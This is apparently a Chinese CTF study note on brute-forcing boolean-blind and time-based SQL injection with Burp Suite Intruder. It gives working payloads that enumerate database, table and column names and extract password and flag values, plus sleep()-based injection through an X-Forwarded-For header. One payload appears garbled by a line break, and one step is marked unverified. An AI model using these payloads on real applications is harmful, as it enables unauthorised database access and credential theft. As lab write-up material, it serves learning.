burpsuit进爆破-bool盲注和时间注入 下载本文

注 入

一、bool盲注爆破

一.数据库长度,n长度带入值

username=admin' and (length(database()))=n#&password=1111 4

二.数据库名

1. 数据库 {1}:第几位,范围1-4,{2}:ascii码数值,范围33-126

username=admin'and ascii(substr(database(),{1},1))={2}#&password=1111 test

三.获取表个数,表长度

1. 确定表的长度:{1}范围0-7,{2}:长度大小1-20

username=admin'and (select length(table_name) from information_schema.tables where table_schema =database()limit {1},1)={2}#&password=1111 0--------9 1--------4

四.获取列数

1. 确定列数: limit 0,1 limit 1,1

username=admin'and (select column_name from information_schema.columns where table_name =0x75736572 and table_schema=database() limit 1,1)>0#&password=1111 确定列数:2 五.获取列长度

1. 确定长度:{1}范围0-1,{2}:长度大小1-20

username=admin'and (select length(column_name) from information_schema.columns where table_name = 0x75736572 and table_schema=database() limit {1},1)={2}#&password=1111 0--------8 1--------8

六.获取列的字段 ,爆破

1.列的字段limit 0,1 limit 1,1 , {1}:1-8, {2}:ascii码数值,范围33-126

username=admin'and ascii(substr((select column_name from information_schema.columns where table_name =0x75736572 and

table_schema=database() limit 1,1),{1},1))={2}#&password=1111 获取列名:username,password

七.获取password字段长度

1. 长度{1}:ascii码数值,范围33-126

username=admin'and (select length(password) 0,1)={1}#&password=1111 13

from test.user limit

八.获取字段内容

1. 字段信息,{1}:第几位,范围1-13,{2}:ascii码数值,范围33-126

username=admin'and ascii(substr((select password from test.user limit 0,1),{1},1))={2}#&password=1111 Flag{dkypxzx}

二、时间注入

1、逐个猜数据库 --未验证

基于时间的盲注

http://www.any.com:88/sqli/Less-9/?id=1' and sleep( if(ascii(substr(database(),1,1))<116,0,5 )) # 如果等号别顾虑掉,可以使用< 或者> 2、时间盲注

http://ctf5.shiyanbar.com/web/wonderkun/index.php

题目提示:我要把攻击我的人都记录db中去!,则可很有可能是注入题。通过测试过程发现,反馈结果为X-Forwarded-For输入的内容,则猜测为http头文件的注入。

这类提醒一般猜测会有表flag,有flag列 爆破列的长度,Response时间超过5s的数值为长度(其中若长度超过固定长度,返回时间也会超过5s,猜测为溢出的原因,取payload最小的值且时间超过5s) 1. 爆flag列的长度

X-Forwarded-For: 1' and (select case when (select length(flag) from flag limit 1)=§32§ then sleep(5) else 1 end) and '1'='1 2.爆列的每位的ascii值

X-Forwarded-For:1' and (select case when (select ord (substring(flag from §{1}§ for 1 )) from flag limit 1)=§{2}§ then sleep(5) else 1 end ) and '1'='1

得到flag字符串